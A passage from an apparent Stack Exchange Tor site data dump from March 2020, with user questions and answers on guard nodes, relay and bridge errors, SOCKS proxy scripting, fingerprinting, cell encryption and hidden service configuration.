my OS accomplishes. I'm not knowledgeable enough to know if this is a good thing. The associated vulnerability is arguably very bad, but there must be a more secure way to fix it than creating &quot;guards&quot; for every point of failure. So I don't know if this will be implemented in Tor upstream, but from &lt;a href=&quot;https://github.com/mikeperry-tor/vanguards&quot; rel=&quot;nofollow noreferrer&quot;&gt;what I read&lt;/a&gt; I think it has been considered and will be. Now we have a Guard which rarely changes, I have not seen this happen automatically yet over months and now both a 2nd and 3rd guard and only 1 random middle guard just before the exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's 5 hops in the circuit as explained in the article where the 4th one is randomized, but there are only 4 hops in a hidden service circuit. 5 hops seems to only be used for resolving to a 4 hop circuit and therefore results in the first 3 hops being generally non-random and the last hop with an even easier ability to do what is trying to be prevented in the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The change to fixed nodes for the second and third layer guards is designed to force the adversary to have to run many more nodes, and to execute both an active sybil attack, as well as a node compromise attack. In particular, the addition of second layer guard nodes means that the adversary goes from being able to discover your guard in minutes by running just one middle node, to requiring them to sustain the attack for weeks or even months, even if they run 5% of the network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds effective in principle but I don't know how so. I suppose the attack must have relied on their controlling the middle guard(s) and by removing that ability &lt;em&gt;to an extent&lt;/em&gt; this works like so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having 2 Tor Entry Guard nodes only sometimes seems to be what I was experiencing. And this &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2020-February/014157.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;message&lt;/a&gt; seems to indicate that both a 2 Tor Entry Guard node and 2nd and 3rd guard middle guards will be implemented in Tor upstream, if not already.&lt;/p&gt;&#xA;" OwnerUserId="28762" LastEditorUserId="28762" LastEditDate="2020-03-05T05:31:26.953" LastActivityDate="2020-03-05T05:31:26.953" Title="Extra Entry Guards, Duplicate Relays, and Similar Exit Nodes: Is this how Tor is supposed to work?" Tags="|relays|exit-relays|guard-node|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="20957" PostTypeId="1" AcceptedAnswerId="20959" CreationDate="2020-03-04T02:46:38.487" Score="0" ViewCount="64" Body="&lt;p&gt;Upon trying to start it I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 04 08:09:00 beeldbox Tor[30025]: No signature found on key certificate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thing is this was working fine yesterday&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've finally built up enough consensus weight to be used as a relay and really don't want to start over..... Again.&#xA;I'm trying to transfer to a new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both servers running Ubuntu 18.04.&#xA;Error reproducible on both&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Removed all the cached certs and that's gone. Now it gets stuck @ Bootstrapping 0% with nothing further in logs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 04 18:02:54 * Tor[25711]: Bootstrapped 0% (starting): Starting&#xA;Mar 04 18:02:54 * Tor[25711]: Starting with guard context &quot;default&quot; &#xA;Mar 04 18:02:54 * Tor[25711]: Signaled readiness to systemd&#xA;Mar 04 18:02:55 * Tor[25711]: Opening Socks listener on /run/tor/socks&#xA;Mar 04 18:02:55 * Tor[25711]: Opened Socks listener on /run/tor/socks &#xA;Mar 04 18:02:55 * Tor[25711]: Opening Control listener on /run/tor/control&#xA;Mar 04 18:02:55 * Tor[25711]: Opened Control listener on /run/tor/control&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2020-03-04T17:05:03.743" LastActivityDate="2020-03-05T04:12:02.610" Title="Can't start relay - certificate error" Tags="|relays|private-key|certificate|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20958" PostTypeId="1" CreationDate="2020-03-05T01:08:31.110" Score="0" ViewCount="1801" Body="&lt;p&gt;Im trying to pass this error im getting while checking if sites are up with python: socks.SOCKS5Error: 0x06: TTL expired&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxies = {&#xA;    'http': 'socks5h://127.0.0.1:9050',&#xA;    'https': 'socks5h://127.0.0.1:9050'&#xA;}&#xA;with open(&quot;links.txt&quot;, &quot;r&quot;) as text_file:&#xA;    for line in text_file.readlines():&#xA;        url = str(line).replace('\n', '')&#xA;        try:&#xA;            r = requests.get(url, proxies=proxies) &#xA;            print(r)&#xA;&#xA;        except:&#xA;            print(&quot;SOCKS5 TTL ERROR&quot;)&#xA;            pass&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im trying to just continue down list if this error occurs but it tries to handle the exception and stops my script with error instead of passing. The script returns 200 for site that is up but it stops on a site that hangs in browser as well.&lt;/p&gt;&#xA;" OwnerUserId="28771" LastEditorUserId="28771" LastEditDate="2020-03-05T01:22:29.740" LastActivityDate="2020-03-05T06:42:10.400" Title="Trying to pass TTL expired error: socks.SOCKS5Error: 0x06: TTL expired" Tags="|socks|error|connection|python|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20959" PostTypeId="2" ParentId="20957" CreationDate="2020-03-05T04:12:02.610" Score="2" Body="&lt;p&gt;Several issues were present:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Firewall was too restrictive preventing connections to a necessary port (53, for local dns resolving)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Torrc misconfiguration. Not entirely sure which option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Network interface misconfiguration, preventing connections to the IP for was set to use (server had 2 ipv4 ips and /64 block of ipv6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Bad cached certs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope my struggle helps someone else!&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2020-03-05T04:12:02.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20960" PostTypeId="2" ParentId="20958" CreationDate="2020-03-05T06:42:10.400" Score="1" Body="&lt;pre&gt;&lt;code&gt;proxies = {&#xA;    'http': 'socks5h://127.0.0.1:9050',&#xA;    'https': 'socks5h://127.0.0.1:9050'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;socks proxies are not the same as http/https proxies. You can't interchange the two. you will need to use a library that specifically uses socks proxies because they are not compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SOCKS operates at a lower level than HTTP proxying: SOCKS uses a&#xA;  handshake protocol to inform the proxy software about the connection&#xA;  that the client is trying to make, and then acts as transparently as&#xA;  possible, whereas a regular proxy may interpret and rewrite headers&#xA;  (say, to employ another underlying protocol, such as FTP; however, an&#xA;  HTTP proxy simply forwards an HTTP request to the desired HTTP&#xA;  server). Though HTTP proxying has a different usage model in mind, the&#xA;  CONNECT method allows for forwarding TCP connections; however, SOCKS&#xA;  proxies can also forward UDP traffic and work in reverse, while HTTP&#xA;  proxies cannot. HTTP proxies are traditionally more aware of the HTTP&#xA;  protocol, performing higher-level filtering (though that usually only&#xA;  applies to GET and POST methods, not the CONNECT method)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also check out &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/&lt;/a&gt; for working with Tor with Python&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-05T06:42:10.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20961" PostTypeId="1" AcceptedAnswerId="20962" CreationDate="2020-03-05T07:29:15.177" Score="1" ViewCount="441" Body="&lt;p&gt;How concerned should I be about fingerprinting of my browser in TAILS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what I can do.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I minimize the risks of browser fingerprinting?&lt;/p&gt;&#xA;" OwnerUserId="28772" LastActivityDate="2020-03-05T08:11:39.380" Title="Browser Fingerprinting in TAILS" Tags="|tails|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20962" PostTypeId="2" ParentId="20961" CreationDate="2020-03-05T08:11:39.380" Score="1" Body="&lt;p&gt;Tails uses the standard Tor Browse and so any Tails users should look just like any other Tor user.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I minimize the risks of browser fingerprinting?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't alter the browser by adding extra plugins or addons.&#xA;Don't change any of the about:config settings.&#xA;Either keep the browser window maximized or at the standard resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of websites will see you as &quot;just another Tor user&quot; and can't pick you out from anyone else.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-05T08:11:39.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20964" PostTypeId="1" AcceptedAnswerId="20965" CreationDate="2020-03-06T04:36:02.407" Score="1" ViewCount="90" Body="&lt;p&gt;Are there third party implementation of tor that perhaps don't implement the entirety of the protocol? But can interact with the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really isn't practical to audit this for an individual: (output from cloc on current tor git)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--------------------------------------------------------------------------------&#xA;Language                      files          blank        comment           code&#xA;--------------------------------------------------------------------------------&#xA;C                               583          47084          64919         270594&#xA;C/C++ Header                    516           7253          17573          29573&#xA;Markdown                         98           1882              0           5369&#xA;Python                           46           1410           1650           4873&#xA;make                             83            562            275           3295&#xA;m4                                6            427            152           3045&#xA;Bourne Shell                     49            685            911           2856&#xA;Rust                             26            582           1239           2538&#xA;Perl                              9             66             90            433&#xA;HTML                              1             21             14            276&#xA;YAML                              3             40            143            252&#xA;Bourne Again Shell                3             51             95            168&#xA;TOML                             10             40             38            153&#xA;PHP                               1             20              0            114&#xA;Lua                               4             27             10             77&#xA;Ruby                              1             18             34             63&#xA;CSS                               1              2              0              8&#xA;--------------------------------------------------------------------------------&#xA;SUM:                           1440          60170          87143         323687&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28778" LastActivityDate="2020-03-06T04:50:41.447" Title="Bloated codebase - are there third party implementations of the tor protocol?" Tags="|source-code|implementations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20965" PostTypeId="2" ParentId="20964" CreationDate="2020-03-06T04:50:41.447" Score="1" Body="&lt;p&gt;You can find a list of third-party Tor implementations here (note that many/most are not actively developed): &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ListOfTorImplementations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/ListOfTorImplementations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in looking at &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt;, which is typically used for controlling existing Tor clients/relays, but it has a lot of functionality for interacting with the network directly.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-06T04:50:41.447" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20968" PostTypeId="1" CreationDate="2020-03-07T07:10:12.997" Score="0" ViewCount="1584" Body="&lt;p&gt;Tor 9.0.5 always opens in Permanent Private browsing mode, is there any solution to disable this?&lt;/p&gt;&#xA;" OwnerUserId="28592" LastActivityDate="2020-03-08T14:20:52.787" Title="How to disable built-in Permanent private browsing Tor?" Tags="|configuration|private|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20970" PostTypeId="2" ParentId="20968" CreationDate="2020-03-08T14:20:52.787" Score="1" Body="&lt;p&gt;&lt;strong&gt;Not recommended.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to &lt;code&gt;about:preferences#privacy&lt;/code&gt; and uncheck &quot;Always use private browsing mode&quot;.&lt;/p&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2020-03-08T14:20:52.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20971" PostTypeId="2" ParentId="20372" CreationDate="2020-03-08T14:36:23.930" Score="1" Body="&lt;p&gt;CELLs are encrypted using a stream cipher, presently &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n71&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-128-CTR with a zeroed IV&lt;/a&gt;. This will be upgraded to an SPRP in the future to defend against tagging attacks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0.3. Ciphers&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;These are the ciphers we use &lt;em&gt;unless otherwise specified&lt;/em&gt;.  Several of&#xA;     them are deprecated for new use.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For a stream cipher, unless otherwise specified, we use 128-bit AES in&#xA;     counter mode, with an IV of all 0 bytes.  (We also require AES256.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1132&quot; rel=&quot;nofollow noreferrer&quot;&gt;X25519 is used&lt;/a&gt; in the ntor handshake.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;5.1.4. The &quot;ntor&quot; handshake&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This handshake uses a set of DH handshakes to compute a set of&#xA;     shared keys which the client knows are shared only with a particular&#xA;     server, and the server knows are shared with whomever sent the&#xA;     original handshake (or with nobody at all).  Here we use the&#xA;     &quot;curve25519&quot; group and representation as specified in &quot;Curve25519:&#xA;     new Diffie-Hellman speed records&quot; by D. J. Bernstein.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2020-03-08T14:36:23.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20972" PostTypeId="2" ParentId="20349" CreationDate="2020-03-08T14:53:17.567" Score="1" Body="&lt;p&gt;At each hop, no, payloads are not authenticated. However, the inner most layer is. This enables the exit node (or onion service) to detect tampering. This lack of authentication opens tor up to tagging attacks because AES-CTR, as used to encrypt the payloads, is malleable and any tagging can be detected by observing the tag between the CELLs at a later hop in the circuit. This attack can only usefully be applied by malicious guards and exits who collude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tagging attack can and will be mitigated by replacing AES-CTR with an SPRP, which does not prevent the malleability, but does prevent the trivial linking of corrupted CELLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI we don't need asymmetric signatures with public keys to authenticate a message. A MAC, Message Authentication Code, is the symmetric variation using a single secret key. Just like a symmetric cipher uses a single secret key. These secret keys are known only to the sender and receiver and must not be known by your adversaries. Otherwise messages may be decrypted or forged.&lt;/p&gt;&#xA;" OwnerUserId="21326" LastActivityDate="2020-03-08T14:53:17.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20973" PostTypeId="1" CreationDate="2020-03-09T00:07:18.910" Score="0" ViewCount="65" Body="&lt;p&gt;Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install TOR and Savant&lt;/li&gt;&#xA;&lt;li&gt;Changed the DNS entry to localhost and the port to 80&lt;/li&gt;&#xA;&lt;li&gt;Modified torrc. Here is the text:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;Bridge obfs4 [stuff here]&#xA;Bridge obfs4 [stuff here]&#xA;Bridge obfs4 [stuff here]&#xA;DataDirectory C:\Program Files\Tor\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Program Files\Tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Program Files\Tor\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceDir C:\Program Files\Tor\Tor Browser\Browser\TorBrowser\Data\Tor\Website&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing I added to the Tor\Website directory is index.html&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Opened Tor&lt;/li&gt;&#xA;&lt;li&gt;Went to the URL that was generated&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="28796" LastActivityDate="2020-03-09T00:07:18.910" Title="What am I doing wrong with hosting a hidden service?" Tags="|web-hosting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20975" PostTypeId="1" CreationDate="2020-03-09T23:41:31.730" Score="0" ViewCount="95" Body="&lt;p&gt;A typical tor circuit has &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Browser -&amp;gt; entryNode(A) -&amp;gt; relay(B) -&amp;gt; exitNode(C) -&amp;gt; Server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is prone to timing related attacks if both entryNode and exitNode are controlled by the adversary. Let say a website has &lt;code&gt;/index.html&lt;/code&gt;, &lt;code&gt;/index.js&lt;/code&gt;, &lt;code&gt;/home.png&lt;/code&gt;, tor browser is going to use the same circuit for each resource and the sizes of responses help the adversary to de-anonomyse. I understand we cannot change the exit node as the servers may have tied the session with the ip address of the exit node but why can't we use different entry nodes and relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way even if one of the entry node is controlled by the attacker, it makes it difficult to use it to perform a timing attack. So the circuits will look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;For index.html: Browser -&amp;gt; A1 -&amp;gt; B1 -&amp;gt; C -&amp;gt; Server&#xA;For index.js:   Browser -&amp;gt; A2 -&amp;gt; B2 -&amp;gt; C -&amp;gt; Server&#xA;For home.png:   Browser -&amp;gt; A3 -&amp;gt; B3 -&amp;gt; C -&amp;gt; Server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there any downsides to this approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new set A1, A2, A3 forms the guard node.&lt;/p&gt;&#xA;" OwnerUserId="27699" LastActivityDate="2020-03-10T15:55:09.120" Title="Why don't we have more than one entry node per tor circuit?" Tags="|tor-browser-bundle|circuit|guard-node|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20976" PostTypeId="1" CreationDate="2020-03-10T02:59:43.130" Score="0" ViewCount="83" Body="&lt;p&gt;I changed my perfectly running relay of 30 days to a bridge.&#xA;That's when the problems started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running as usr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor --verify-config&#xA;Configuration is valid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;systemctl start tor.service&#xA;Pass entered - no complaints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After roughly a minute -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;systemctl status tor@default&#xA;Active: failed&lt;a href=&quot;https://i.stack.imgur.com/t64Mz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t64Mz.jpg&quot; alt=&quot;Systemctl Status&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the last two lines tying to tell me??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Process: 2486 ExecStartPre=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0 --verify-config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Process: 2485 ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /run/tor (code=exited, status=0/SUCCESS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adriann&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="19670" LastEditDate="2020-03-10T03:05:34.907" LastActivityDate="2022-03-30T20:01:05.097" Title="Bridge fails to run" Tags="|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20977" PostTypeId="2" ParentId="6074" CreationDate="2020-03-10T09:45:19.480" Score="0" Body="&lt;p&gt;its because Tor servers are blocked by ISP in your country or area, I try connect Orbot without VPN mode with Speedify VPN ann it connected to server well but when I enable VPN mode it terminated Speedify connection and also did not connect to Tor servers bcus I live in Iran ;) not only obfs3 but also obfs4 and all of the IP bridges not work&lt;/p&gt;&#xA;" OwnerUserId="28804" LastActivityDate="2020-03-10T09:45:19.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20978" PostTypeId="2" ParentId="20976" CreationDate="2020-03-10T15:50:05.130" Score="0" Body="&lt;p&gt;Which ports are you using ? Do you use pluggable-transport like obfs4 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28807" LastActivityDate="2020-03-10T15:50:05.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20980" PostTypeId="1" CreationDate="2020-03-10T17:12:51.540" Score="1" ViewCount="41" Body="&lt;p&gt;In my Tor testing environment I noticed that if a HS guard node is unavailable, it is not immediately replaced by using another guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that entry guards are changed after months (6-9?) but I am wondering what happens if a guard becomes unavailable before that period. Is another guard selected as entry guard for the hidden service? If yes, how long after does the new guard is selected? I expect that if the guard is temporarily unavailable, it can still play the role of guard of that HS if it is back online within a certain amount of time. If yes? How much is this amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot,&#xA;Lewis&lt;/p&gt;&#xA;" OwnerUserId="27936" LastActivityDate="2020-03-10T17:12:51.540" Title="What happens in case of temporary HS guard unavailability?" Tags="|onion-services|guard-node|guard|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20981" PostTypeId="1" CreationDate="2020-03-11T08:35:25.907" Score="1" ViewCount="278" Body="&lt;p&gt;I'm stuck in a loop of &quot;Sorry. We just need to do one small thing to keep going.&quot; and restarts.&lt;br&gt;&#xA;I have spent hours on this and my seach-fu is not bad, bu to no avail.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9kVcY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kVcY.png&quot; alt=&quot;Restart Required&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happened first after an update, and then with a fresh download of tor-browser-linux64-9.0.5_en-US.tar.xz. (I'm on Ubuntu 18.04)&#xA;Help-&gt;About-&gt;version shows as up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;starting with the --verbose or --log flag puts out about 130 lines of messages with lots of warnings and errors, but I have no idea how many of these are just the usual &quot;firefox-noise&quot;.&#xA;I have searched for a lot of them and gone down a number of rabbitholes but ultimately came up empty handed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also inspected the start-tor-browser script and tried to start the browser in different ways like running firefox.real, but nothing makes any difference to the behavior. (except if I break DISPLAY)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current theory is that something makes an internal process crash and that is detected as if an external system has updated it's files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be happy to upload the log, but I understand that pestebin etc. is frowned upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;For the record:&#xA;Since I wrote the above, an OS update, a reboot and a browser update has happened and the issue just went away. I guess we'll never know exactly what caused it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can report is where the failing and successful logs diverge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 11 07:59:58.000 [notice] Bootstrapped 100% (done): Done&#xA;Unable to init server: Could not connect: Connection refused&#xA;&#xA;(/home/user/tmp/tor-browser_en-US/Browser/firefox.real:2985): Gtk-WARNING **: 07:59:59.408: cannot open display: :0&#xA;[Parent 2921, Gecko_IOThread] WARNING: pipe error: Broken pipe: file /var/tmp/build/firefox-869854aeea80/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 727&#xA;[Parent 2921, Gecko_IOThread] WARNING: FileDescriptorSet destroyed with unconsumed descriptors: file /var/tmp/build/firefox-869854aeea80/ipc/chromium/src/chrome/common/file_descriptor_set_posix.cc, line 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 23 08:05:21.000 [notice] Bootstrapped 100% (done): Done&#xA;Mar 23 08:05:21.000 [notice] New control connection opened from 127.0.0.1.&#xA;Mar 23 08:05:21.000 [notice] New control connection opened from 127.0.0.1.&#xA;Fontconfig warning: &quot;/home/user/tmp/tor-browser_en-US/Browser/TorBrowser/Data/fontconfig/fonts.conf&quot;, line 145: blank doesn't take any effect anymore. please remove it from your fonts.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would say this strongly point to an issue with &quot;display&quot; but I tried dozens of things with that, so who knows.&lt;/p&gt;&#xA;" OwnerDisplayName="user28811" LastEditorDisplayName="user28811" LastEditDate="2020-03-23T08:31:01.187" LastActivityDate="2020-03-23T08:31:01.187" Title="tor-browser stuck in restart-required loop" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20982" PostTypeId="1" CreationDate="2020-03-11T12:40:46.297" Score="1" ViewCount="767" Body="&lt;p&gt;When I tried to run ~/tor-browser/Browser/TorBrowser/Tor/tor, it displays the message:&#xA;&quot;error while loading shared libraries: libevent-2.1.so.6: cannot open shared object file: No such file or directory&quot;&#xA;The libraries libevent-2.1.so.6, libssl.so.1.1, libcrypto.so.1.1 and libstdc++.so.6 are nearby, but the Tor binary doesn't find them. LD_PRELOAD doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is that I already have a system Tor (&quot;systemctl start tor&quot; on port 9050). I need to run another independent copy of the console Tor (on port 9150). They should not interfere with each other. I know that I can launch the Tor browser, but it is very fat. There is another option to run console Tor in Wine, but I would prefer the native way. I use Ubuntu 16.04, Tor Browser 9.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spied on the processes while starting the Tor browser. Most likely the command line should be:&#xA;~/tor-browser/Browser/TorBrowser/Tor/tor --defaults-torrc ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc-defaults -f ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc --DataDirectory ~/tor-browser/Browser/TorBrowser/Data/Tor --GeoIPFile ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip --GeoIPv6File ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip6 --SocksPort 127.0.0.1:9150&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has similar questions. But there advised just to run the tor binary. Apparently, this worked before, but no longer.&lt;/p&gt;&#xA;" OwnerUserId="28813" LastActivityDate="2020-03-12T07:47:36.563" Title="How to run the Linux console tor binary from the Tor browser without launching the Tor browser itself?" Tags="|linux|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20983" PostTypeId="2" ParentId="20982" CreationDate="2020-03-11T14:55:14.813" Score="0" Body="&lt;p&gt;This isn't going to be possible to do directly with the tor daemon. However, you do have some options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest option is to simply create a VM that will run the second instance with it's own configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is to run it in in a Docker container. This might be harder to set up if you've never used a container tool before. This will be faster and use less system resources though.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-11T14:55:14.813" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
